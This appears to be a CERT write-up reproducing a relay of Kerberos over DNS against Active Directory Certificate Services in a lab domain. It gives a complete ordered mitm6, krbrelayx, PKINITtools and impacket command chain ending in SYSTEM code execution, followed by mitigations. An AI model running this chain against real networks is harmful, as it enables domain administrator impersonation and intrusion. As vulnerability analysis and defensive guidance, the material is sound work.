Dirk-jan Mollema published a blog post that shows how an attacker on the same (V)LAN as a machine connected to an active directory where an AD CS server is present can obtain a kerberos ticket to impersonate a domain admin on the victim system: https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/
Using the steps outlined, an attacker can execute code with
SYSTEM privileges on the victim system.
This post has some further details as to what's going on with this attack.
Reproducing this vulnerability will take 4 machines:
The following software should be present on the attacker's Linux box:
I used a CERT Tapioca VM as the attacker's machine, but that also required that I made sure that IPv6 was enabled, and also that the firewall was disabled on the WAN side:
sudo iptables -F sudo iptables -P INPUT ACCEPT
For the materials in this writeup, the following hosts/domain is used:
AD CS server:
Victim (domain-joined) host:
Domain admin account: A
The attack flow
The flow of events in this attack can be summarized in the following animation:
Reproducing the attack
Advertisement of malicious DNS server via mitm6
mitm6 is a utility that can leverage DHCPv6 to coerce a Windows host on an IPv4 network to use an arbitrary DNS server.
The victim machine asks the LAN if anybody is providing DHCPv6 for settings, including which DNS server to use:
And the machine running
mitm6 says to the victim that it should be used for DNS requests:
Handling of Dynamic Update from victim
When the victim system attempts to perform a DNS update, e.g. when it first powers on,
mitm6 will refuse the update:
To deal with this refusal, the victim will talk to the domain controller to get a kerberos ticket so that it can try again with authority.
Capturing the kerberos ticket from the authenticated DNS dynamic update
Armed with the kerberos ticket for the victim machine, the victim begins a negotiation with the malicious DNS server to prove that it should be allowed to perform a DNS dynamic update.
At this point,
krbrelayx comes into play. When the kerberos-authenticated DNS request comes in,
krbrelayx notices and grabs the kerberos ticket:
Getting a machine account certificate using our kerberos ticket
With a valid kerberos ticket in hand, the request to the AD CS server can be made into an authorized one:
Because the AD CS server answers our request with an HTTP 200, we know that the authorization worked. So it's time to request a certificate!
On the wire, it looks like this:
Once the AD CS server responds, the certificate is ready, and we can pick it up:
From the perspective of
This certificate is for the
win10.wd.local machine account.
Upgrading our machine account certificate to a domain admin account ticket on victim
We can now use
gettgtpkinit.py from PKINITtools to get a TGT using our
win10.wd.local machine account certificate:
Now with this TGT, saved as
win10.ccache, we can go one step further to get a ticket for the domain admin account on the victim system,
Administrator@wd.local, which we save as
Confirming our ticket
Now that we have what should be the domain administrator's kerberos ticket, let's try using it with the
smbclient.py utility from impacket. Note that this strategy assumes that our victim system,
win10.wd.local has a network-accessible share.
We are able to view the contents of the protected
windows\system32\config directory, which a normal user cannot do.
Along these same lines, we can use the same ticket to execute arbitrary code on the victim machine with
SYSTEM privileges by using the
Summary of commands
Just to keep things together, and not in screenshot form, here are the commands that we used (in order) for our particular experiment:
# mitm6 --domain wd.local --host-allowlist win10.wd.local --relay adcs.wd.local -v # ./krbrelayx.py --target http://adcs.wd.local/certsrv/ -ip 192.168.3.100 --victim win10.wd.local --adcs --template Machine (Power on Win10 VM, or just wait if it's already on) (Save certificate output as cert.txt) $ python gettgtpkinit.py -pfx-base64 $(cat cert.txt) wd.local/win10$ win10.ccache -dc-ip 192.168.3.1 $ python gets4uticket.py kerberos+ccache://wd.local\\win10\$:win10.ccache@WIN-6ERMGJ5ECLO.wd.local email@example.com Administrator@wd.local admin.ccache $ KRB5CCNAME=admin.ccache python ~/in/impacket/examples/smbclient.py -k wd.local/Administrator@win10.wd.local -no-pass $ KRB5CCNAME=admin.ccache python ~/in/impacket/examples/smbexec.py -k wd.local/Administrator@win10.wd.local -no-pass
Full packet capture
While not the exact traffic used to obtain the above screenshots, a packet capture of this entire attack chain (and also some irrelevant traffic) is available here:
Relevant hosts in this capture include:
|ADCS||Active Directory Certificate Services|
Protecting against this attack
Enable Extended Protection for Authentication and Require SSL on AD CS systems
When CERT published VU#405600 about the PetitPotam attack chain on AD CS, we recommended enabling Extended Protection for Authentication (EPA) for AD CS systems. If you had deployed this mitigation already, congratulations. You don't have to worry about the attack described above.
Block DHCPv6 and ICMPv6 on networks that only use IPv4
If you have a network where IPv6 is not being used, blocking DHCPv6 and ICMPv6 on all hosts can be used to prevent the
mitm6 component of the above attack. With the Windows firewall, this involves setting the following rules to block:
- (Inbound) Core Networking - Dynamic Host Configuration Protocol for IPv6(DHCPV6-In)
- (Inbound) Core Networking - Router Advertisement (ICMPv6-In)
- (Outbound) Core Networking - Dynamic Host Configuration Protocol for IPv6(DHCPV6-Out)